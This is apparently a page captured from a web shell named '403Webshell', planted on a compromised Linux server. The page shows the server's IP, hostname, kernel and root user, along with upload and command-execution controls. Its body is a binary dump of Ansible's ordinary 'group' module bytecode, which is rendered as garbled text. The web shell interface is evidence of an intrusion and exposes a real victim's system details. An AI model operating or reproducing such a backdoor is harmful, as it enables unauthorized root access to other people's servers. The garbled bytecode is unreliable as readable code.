403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/modules/__pycache__/group.cpython-312.pyc
�

1<�e�Q��n�ddlmZmZmZeZdZdZdZddl	Z	ddl
Z
ddlmZddl
mZddlmZGd	�d
e�ZGd�de�ZGd
�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�Zd�Zed k(re�yy)!�)�absolute_import�division�print_functiona�
---
module: group
version_added: "0.0.2"
short_description: Add or remove groups
requirements:
- groupadd
- groupdel
- groupmod
description:
    - Manage presence of groups on a host.
    - For Windows targets, use the M(ansible.windows.win_group) module instead.
options:
    name:
        description:
            - Name of the group to manage.
        type: str
        required: true
    gid:
        description:
            - Optional I(GID) to set for the group.
        type: int
    state:
        description:
            - Whether the group should be present or not on the remote host.
        type: str
        choices: [ absent, present ]
        default: present
    force:
        description:
            - Whether to delete a group even if it is the primary group of a user.
            - Only applicable on platforms which implement a --force flag on the group deletion command.
        type: bool
        default: false
        version_added: "2.15"
    system:
        description:
            - If V(yes), indicates that the group created is a system group.
        type: bool
        default: no
    local:
        description:
            - Forces the use of "local" command alternatives on platforms that implement it.
            - This is useful in environments that use centralized authentication when you want to manipulate the local groups.
              (for example, it uses C(lgroupadd) instead of C(groupadd)).
            - This requires that these commands exist on the targeted host, otherwise it will be a fatal error.
        type: bool
        default: no
        version_added: "2.6"
    non_unique:
        description:
            - This option allows to change the group ID to a non-unique value. Requires O(gid).
            - Not supported on macOS or BusyBox distributions.
        type: bool
        default: no
        version_added: "2.8"
extends_documentation_fragment: action_common_attributes
attributes:
    check_mode:
        support: full
    diff_mode:
        support: none
    platform:
        platforms: posix
seealso:
- module: ansible.builtin.user
- module: ansible.windows.win_group
author:
- Stephen Fromm (@sfromm)
z�
- name: Ensure group "somegroup" exists
  ansible.builtin.group:
    name: somegroup
    state: present

- name: Ensure group "docker" exists with correct gid
  ansible.builtin.group:
    name: docker
    state: present
    gid: 1750
a�
gid:
  description: Group ID of the group.
  returned: When O(state) is C(present)
  type: int
  sample: 1001
name:
  description: Group name.
  returned: always
  type: str
  sample: users
state:
  description: Whether the group is present or not.
  returned: always
  type: str
  sample: 'absent'
system:
  description: Whether the group is a system group or not.
  returned: When O(state) is C(present)
  type: bool
  sample: False
N)�to_bytes)�
AnsibleModule)�get_platform_subclassc�^��eZdZdZdZdZdZ�fd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Z�xZS)�Groupa-
    This is a generic Group manipulation class that is subclassed
    based on platform.

    A subclass may wish to override the following action methods:-
      - group_del()
      - group_add()
      - group_mod()

    All subclasses MUST define platform and distribution (which may be None).
    �GenericN�
/etc/groupc�@��tt�}t||�|�S�N)rr
�super�__new__)�cls�args�kwargs�new_cls�	__class__s    ��7/usr/lib/python3/dist-packages/ansible/modules/group.pyrz
Group.__new__�s���'��.���S�'�*�7�3�3�c�*�||_|jd|_|jd|_|jd|_|jd|_|jd|_|jd|_|jd|_y)N�state�name�force�gid�system�local�
non_unique)	�module�paramsrrrrrrr)�selfr s  r�__init__zGroup.__init__�sy������]�]�7�+��
��M�M�&�)��	��]�]�7�+��
��=�=��'����m�m�H�-����]�]�7�+��
� �-�-��5��rc�8�|jj|�Sr)r �run_command�r"�cmds  r�execute_commandzGroup.execute_command�s���{�{�&�&�s�+�+rc��|jrd}nd}|jj|d�|jg}|j	|�S)N�	lgroupdel�groupdelT)rr �get_bin_pathrr(�r"�command_namer's   r�	group_delzGroup.group_del�sC���:�:�&�L�%�L��{�{�'�'��d�;�T�Y�Y�G���#�#�C�(�(rc�8�|jr�tj�D]v}|j|jk(s�|j|j
k7s�7|jjdj|j|j
����xyy)Nz)GID '{0}' already exists with group '{1}'��msg)	r�grp�getgrall�gr_gidr�gr_namer �	fail_json�format)r"�grs  r�_local_check_gid_existszGroup._local_check_gid_exists�su���8�8��l�l�n�
x���8�8�r�y�y�(�T�Y�Y�"�*�*�-D��K�K�)�)�.Y�.`�.`�ae�ai�ai�km�ku�ku�.v�)�w�
x�rc���|jrd}|j�nd}|jj|d�g}|D]x}|dk(rR||�M|j	d�|j	t||��|js�H|j	d��Z|dk(s�`||dus�h|j	d��z|j	|j�|j|�S)	N�	lgroupadd�groupaddTr�-g�-orz-r)	rr:r r,�append�strrrr()r"rr.r'�keys     r�	group_addzGroup.group_add�s����:�:�&�L��(�(�*�%�L��{�{�'�'��d�;�<���	!�C��e�|��s�� 7��
�
�4� ��
�
�3�v�c�{�+�,��?�?��J�J�t�$����V�C�[�D�%8��
�
�4� �	!�	�
�
�4�9�9���#�#�C�(�(rc�*�|jrd}|j�nd}|jj|d�g}|j	�}|D]o}|dk(s�	||��|dt||�k7s�$|j
d�|j
t||��|js�_|j
d��qt|�dk(ry	|jjry
|j
|j�|j|�S)N�	lgroupmod�groupmodTr�r>r?��N�rJ�rrJrJ)
rr:r r,�
group_info�intr@rAr�len�
check_moderr()r"rr.r'�inforBs      r�	group_modzGroup.group_mod�s����:�:�&�L��(�(�*�%�L��{�{�'�'��d�;�<����� ���	)�C��e�|��#�;�*�t�A�w�#�f�S�k�:J�/J��J�J�t�$��J�J�s�6�#�;�/�0�����
�
�4�(�
	)��s�8�q�=�!��;�;�!�!���
�
�4�9�9���#�#�C�(�(rc�D�|jr�tjj|j�s5|j
j
dj|j���d}dj|j�}t|jd�5}|j�ddd�}|D] }|jt|��s�d}nddd�|S	tj|j�ryy#1swY|SxYw#t$rYywxYw)NzI'local: true' specified but unable to find local group file {0} to parse.r1Fz{0}:�rb���T)r�os�path�exists�	GROUPFILEr r7r8r�open�	readlines�
startswithrr3�getgrnam�KeyError)r"rW�	name_test�f�reversed_lines�lines      r�group_existszGroup.group_exists�s
��
�:�:��7�7�>�>�$�.�.�1����%�%�*u�*|�*|�~B�~L�~L�+M�%�N��F��
�
�d�i�i�0�I��d�n�n�d�+�
�q�!"����t��t�!4��*��D����x�	�':�;�!%����
��M�
��<�<��	�	�*��+�
��M��
�
��
�s$�6D�D�%D�D�	D�Dc��|j�sy	ttj|j��}|S#t
$rYywxYw)NF)rb�listr3r\rr])r"rPs  rrLzGroup.group_info�sH��� � �"��	�����T�Y�Y�/�0�D�����	��	�s�(=�	A	�A	)�__name__�
__module__�__qualname__�__doc__�platform�distributionrXrr#r(r/r:rCrQrbrL�
__classcell__)rs@rr
r
}sG���
��H��L��I�4�6�,�)�x�)�$)�,�2rr
c��eZdZdZdZdZd�Zy)�Linuxz�
    This is a Linux Group manipulation class. This is to apply the '-f' parameter to the groupdel command

    This overrides the following methods from the generic class:-
        - group_del()
    Nc���|jrd}nd}|jj|d�g}|jr|j	d�|j	|j
�|j
|�S)Nr*r+Tz-f)rr r,rr@rr(r-s   rr/zLinux.group_dels`���:�:�&�L�%�L��{�{�'�'��d�;�<���:�:��J�J�t���
�
�4�9�9���#�#�C�(�(r)rerfrgrhrirjr/�rrrmrm�s����H��L�	)rrmc�"�eZdZdZdZdZdZd�Zy)�SunOSz�
    This is a SunOS Group manipulation class. Solaris doesn't have
    the 'system' group concept.

    This overrides the following methods from the generic class:-
        - group_add()
    Nrc�R�|jjdd�g}|D]Z}|dk(s�	||��|jd�|jt||��|js�J|jd��\|j|j
�|j
|�S)Nr=Trr>r?)r r,r@rArrr(�r"rr'rBs    rrCzSunOS.group_add s����{�{�'�'�
�D�9�:���	%�C��e�|��s�� 7��
�
�4� ��
�
�3�v�c�{�+�,��?�?��J�J�t�$�	%�	�
�
�4�9�9���#�#�C�(�(r)rerfrgrhrirjrXrCrorrrqrqs����H��L��I�	)rrqc�.�eZdZdZdZdZdZd�Zd�Zd�Z	y)�AIXz�
    This is a AIX Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()
    Nrc�t�|jjdd�|jg}|j|�S)N�rmgroupT�r r,rr(r&s  rr/z
AIX.group_del<s2���{�{�'�'�	�4�8�$�)�)�D���#�#�C�(�(rc�6�|jjdd�g}|D]L}|dk(r&||�!|jdt||�z��.|dk(s�4||dus�<|jd��N|j|j�|j|�S)N�mkgroupTr�id=rz-a)r r,r@rArr(rss    rrCz
AIX.group_add@s����{�{�'�'�	�4�8�9���	!�C��e�|��s�� 7��
�
�5�3�v�c�{�#3�3�4����V�C�[�D�%8��
�
�4� �		!�
	�
�
�4�9�9���#�#�C�(�(rc��|jjdd�g}|j�}|D]C}|dk(s�	||��|dt||�k7s�$|j	dt||�z��Et
|�dk(ry|jjry|j	|j�|j|�S)	N�chgroupTrrGr{rHrIrK)
r r,rLrMr@rArNrOrr()r"rr'rPrBs     rrQz
AIX.group_modJs����{�{�'�'�	�4�8�9����� ���	9�C��e�|��#�;�*�t�A�w�#�f�S�k�:J�/J��J�J�u�s�6�#�;�'7�7�8�	9��s�8�q�=�!��;�;�!�!���
�
�4�9�9���#�#�C�(�(r�
rerfrgrhrirjrXr/rCrQrorrruru.s'����H��L��I�)�)�)rruc�.�eZdZdZdZdZdZd�Zd�Zd�Z	y)�FreeBsdGroupz�
    This is a FreeBSD Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()
    �FreeBSDNrc�v�|jjdd�d|jg}|j|�S)N�pwTr+rxr&s  rr/zFreeBsdGroup.group_delis4���{�{�'�'��d�3�Z����K���#�#�C�(�(rc�2�|jjdd�d|jg}|j�R|j	d�|j	t|j��|jr|j	d�|j|�S)Nr�Tr=r>r?)r r,rrr@rArr(�r"rr's   rrCzFreeBsdGroup.group_addmsq���{�{�'�'��d�3�Z����K���8�8���J�J�t���J�J�s�4�8�8�}�%�����
�
�4� ��#�#�C�(�(rc���|jjdd�d|jg}|j�}t	|�}|j
�mt
|j
�|dk7rR|jd�|jt|j
��|jr|jd�|t	|�k7r(|jjry|j|�Sy)	Nr�TrFrGr>r?rKrI)r r,rrLrNrrMr@rArrOr()r"rr'rP�cmd_lens     rrQzFreeBsdGroup.group_modvs����{�{�'�'��d�3�Z����K����� ���c�(���8�8��C����M�T�!�W�$<��J�J�t���J�J�s�4�8�8�}�%�����
�
�4� ��c�#�h���{�{�%�%�"��'�'��,�,�rr~rorrr�r�[s'����H��L��I�)�)�rr�c��eZdZdZdZy)�DragonFlyBsdGroupzq
    This is a DragonFlyBSD Group manipulation class.
    It inherits all behaviors from FreeBsdGroup class.
    �	DragonFlyN)rerfrgrhrirorrr�r��s���
�Hrr�c�2�eZdZdZdZdZd�Zd�Zdd�Zd�Z	y)	�DarwinGroupz�
    This is a Mac macOS Darwin Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()

    group manipulation are done using dseditgroup(1).
    �DarwinNc��|jjdd�g}|ddgz
}|j�|dt|j�gz
}nId|vrE|ddur>|j	�}|dur*t|�|_|dt|j�gz
}|d|j
gz
}|j
|�\}}}|||fS)	N�dseditgroupTr?�create�-irF�-L)r r,rrA�get_lowest_available_system_gidrr()r"rr'r�rc�out�errs       rrCzDarwinGroup.group_add�s����{�{�'�'�
�t�<�=����h�����8�8���D�#�d�h�h�-�(�(�C�
��
�F�8�$4��$<��6�6�8�C��%���s�8�����c�$�(�(�m�,�,����d�i�i� � ���-�-�c�2���S�#��C��~�rc��|jjdd�g}|ddgz
}|d|jgz
}|j|�\}}}|||fS)Nr�Tr?�deleter�rx)r"r'r�r�r�s     rr/zDarwinGroup.group_del�s_���{�{�'�'�
�t�<�=����h������d�i�i� � ���-�-�c�2���S�#��C��~�rc�4�|j�}|j�|t|j�|dk7ra|jj	dd�g}|ddgz
}|�|dt|�gz
}|d|jgz
}|j|�\}}}|||fSy)	NrGr�Tr?�editr�r�rI)rLrrMr r,rArr()r"rrPr'r�r�r�s       rrQzDarwinGroup.group_mod�s������ ���8�8��C����M�T�!�W�$<��;�;�+�+�M�4�@�A�C��D�&�>�!�C�����c�#�h�'�'���D�$�)�)�$�$�C�!�1�1�#�6�N�R��c���S�>�!�rc�^�	|jjdd�g}|gd�z
}|j|�\}}}|j�}d}|D]>}|j	d�}t|�dkDs�#t
|d�}	|	|kDs�7|	dks�=|	}�@|dk(s|d	k(ry
|dzS#t$rYy
wxYw)N�dsclT)z/Local/Defaultz-listz/Groups�PrimaryGroupIDr� rHrTi�i�F)r r,r(�
splitlines�splitrNrM�	Exception)
r"r'r�r�r��lines�highestrL�partsrs
          rr�z+DarwinGroup.get_lowest_available_system_gid�s���	��;�;�+�+�F�D�9�:�C��K�K�C�!�1�1�#�6�N�R��c��N�N�$�E��G�#�
&�
�"�(�(��-���u�:��>��e�B�i�.�C��W�}��s��"%��
&��!�|�w�#�~���a�K� ���	��	�s*�A/B �2B �B �B �B � 	B,�+B,r)
rerfrgrhrirjrCr/rQr�rorrr�r��s'��	��H��L���
�rr�c�.�eZdZdZdZdZdZd�Zd�Zd�Z	y)�OpenBsdGroupz�
    This is a OpenBSD Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()
    �OpenBSDNrc�t�|jjdd�|jg}|j|�S�Nr+Trxr&s  rr/zOpenBsdGroup.group_del��2���{�{�'�'�
�D�9�4�9�9�E���#�#�C�(�(rc�P�|jjdd�g}|j�R|jd�|jt	|j��|j
r|jd�|j|j�|j|�S�Nr=Tr>r?�r r,rr@rArrr(r�s   rrCzOpenBsdGroup.group_add��y���{�{�'�'�
�D�9�:���8�8���J�J�t���J�J�s�4�8�8�}�%�����
�
�4� ��
�
�4�9�9���#�#�C�(�(rc���|jjdd�g}|j�}|j�mt	|j�|dk7rR|jd�|jt
|j��|jr|jd�t|�dk(ry|jjry|j|j�|j|�S�	NrFTrGr>r?rHrIrK�r r,rLrrMr@rArrNrOrr(�r"rr'rPs    rrQzOpenBsdGroup.group_mod�����{�{�'�'�
�D�9�:����� ���8�8��C����M�T�!�W�$<��J�J�t���J�J�s�4�8�8�}�%�����
�
�4� ��s�8�q�=�!��;�;�!�!���
�
�4�9�9���#�#�C�(�(rr~rorrr�r��s'����H��L��I�)�)�
)rr�c�.�eZdZdZdZdZdZd�Zd�Zd�Z	y)�NetBsdGroupz�
    This is a NetBSD Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()
    �NetBSDNrc�t�|jjdd�|jg}|j|�Sr�rxr&s  rr/zNetBsdGroup.group_delr�rc�P�|jjdd�g}|j�R|jd�|jt	|j��|j
r|jd�|j|j�|j|�Sr�r�r�s   rrCzNetBsdGroup.group_addr�rc���|jjdd�g}|j�}|j�mt	|j�|dk7rR|jd�|jt
|j��|jr|jd�t|�dk(ry|jjry|j|j�|j|�Sr�r�r�s    rrQzNetBsdGroup.group_mod!r�rr~rorrr�r�s'����H��L��I�)�)�
)rr�c�"�eZdZdZd�Zd�Zd�Zy)�BusyBoxGroupz�
    BusyBox group manipulation class for systems that have addgroup and delgroup.

    It overrides the following methods:
        - group_add()
        - group_del()
        - group_mod()
    c�2�|jjdd�g}|j�&|jdt	|j�g�|j
r|j
d�|j
|j�|j|�S)N�addgroupTr>z-S)	r r,r�extendrArr@rr(r�s   rrCzBusyBoxGroup.group_add>sr���{�{�'�'�
�D�9�:���8�8���J�J��c�$�(�(�m�,�-��;�;��J�J�t���
�
�4�9�9���#�#�C�(�(rc�t�|jjdd�|jg}|j|�S)N�delgroupTrxr&s  rr/zBusyBoxGroup.group_delJr�rc�h�|j�}|j��|j|dk7r�tdd�5}|j�}ddd�t	|j
�}d||dfz}d||jfz}d|jzvr6|jjdj|j����|jjry	|j||�}tdd
�5}|j|�ddd�y	y#1swY��xYw#1swYy	xYw)NrGrrSs%s:x:%d:s:%d:zgid '{gid}' in use�rr1rK�wbrI)rLrrY�readrrr r7r8rO�replace�write)	r"rrPr_�b_groups�b_name�b_current_group_string�b_new_group_string�b_new_groupss	         rrQzBusyBoxGroup.group_modNs����� ���8�8��D�H�H��Q��$7��l�D�)�
$�Q��6�6�8��
$��d�i�i�(�F�%0�F�D��G�3D�%D�"�!,�����/A�!A������!�X�-����%�%�*>�*E�*E�$�(�(�*E�*S�%�T��{�{�%�%� �#�+�+�,B�DV�W�L��l�D�)�
&�Q�����%�
&���#
$�
$��
&��s�D�D(�D%�(D1N)rerfrgrhrCr/rQrorrr�r�4s���
)�)�rr�c��eZdZdZdZy)�AlpineGrouprm�AlpineN)rerfrgrirjrorrr�r�fs���H��Lrr�c�F�tttddddg��tdd��tdd�	�td
��tdd�	�tdd�	�tdd�	���dd
ddggg��}|jdr!|jdr|jd��t	|�}|jd|jz�|jr|jd|jz�d}d}d}i}|j|d<|j|d<|jdk(rf|j��r|jr|jd��|j�\}}}|dk7r�|j|j|��n�|jdk(r�|j�sJ|jr|jd��|j|j|j ��\}}}n |j#|j��\}}}|�"|dk7r|j|j|��|�d|d<nd|d<|r||d<|r||d <|j�r'|j%�}|j |d!<|d"|d<|jd#i|��y)$NrA�present�absent)�type�default�choicesT)r��required�boolF)r�r�rM)r�)rrrrrrrrr)�
argument_spec�supports_check_mode�required_ifrrzWforce is not a valid option for local, force=True and local=True are mutually exclusiver1z Group instantiated - platform %sz$Group instantiated - distribution %srJrr)�changedr)rr2)rrr�r��stdout�stderrrrGro)r�dictr!r7r
�debugrirjrrrbrO�	exit_jsonr/rCrrrQrL)r �groupr�r�r��resultrPs       r�mainr�lsy��
���E�9�x��>S�T��5�4�0��F�E�2��%� ��V�U�3��F�E�2����7�
�!�
�4�%��)�
��F� �}�}�W��&�-�-��"8����v��w��&�M�E�
�L�L�3�e�n�n�D�E�������;�e�>P�>P�P�Q�	
�B�
�C�
�C�
�F��Z�Z�F�6�N��k�k�F�7�O��{�{�h������� � �� � �� �.�"�_�_�.�N�R��c��Q�w�� � �e�j�j�c� �:�	���	�	!��!�!�#�� � �� � �� �.�"�_�_����5�<�<�_�P�N�R��c�"�_�_����_�;�N�R��c�
�>�b�A�g����%�*�*�#��6�	�z�!��y�� ��y��
���x��
���x���������!�� �<�<��x���Q���u�
��F����v�r�__main__)�
__future__rrrr��
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURNr3rU�+ansible.module_utils.common.text.convertersr�ansible.module_utils.basicr�$ansible.module_utils.common.sys_infor�objectr
rmrqrur�r�r�r�r�r�r�r�rerorr�<module>r�s���A�@��
�E�
�N��
��.�	�@�4�F�x�F�x�z)�E�)�2)�E�)�6()�%�()�Z)�5�)�X���B�%�B�J))�5�))�\))�%�))�^/�5�/�d�,��D�N�z���F�r

Youez - 2016 - github.com/yon3zu
LinuXploit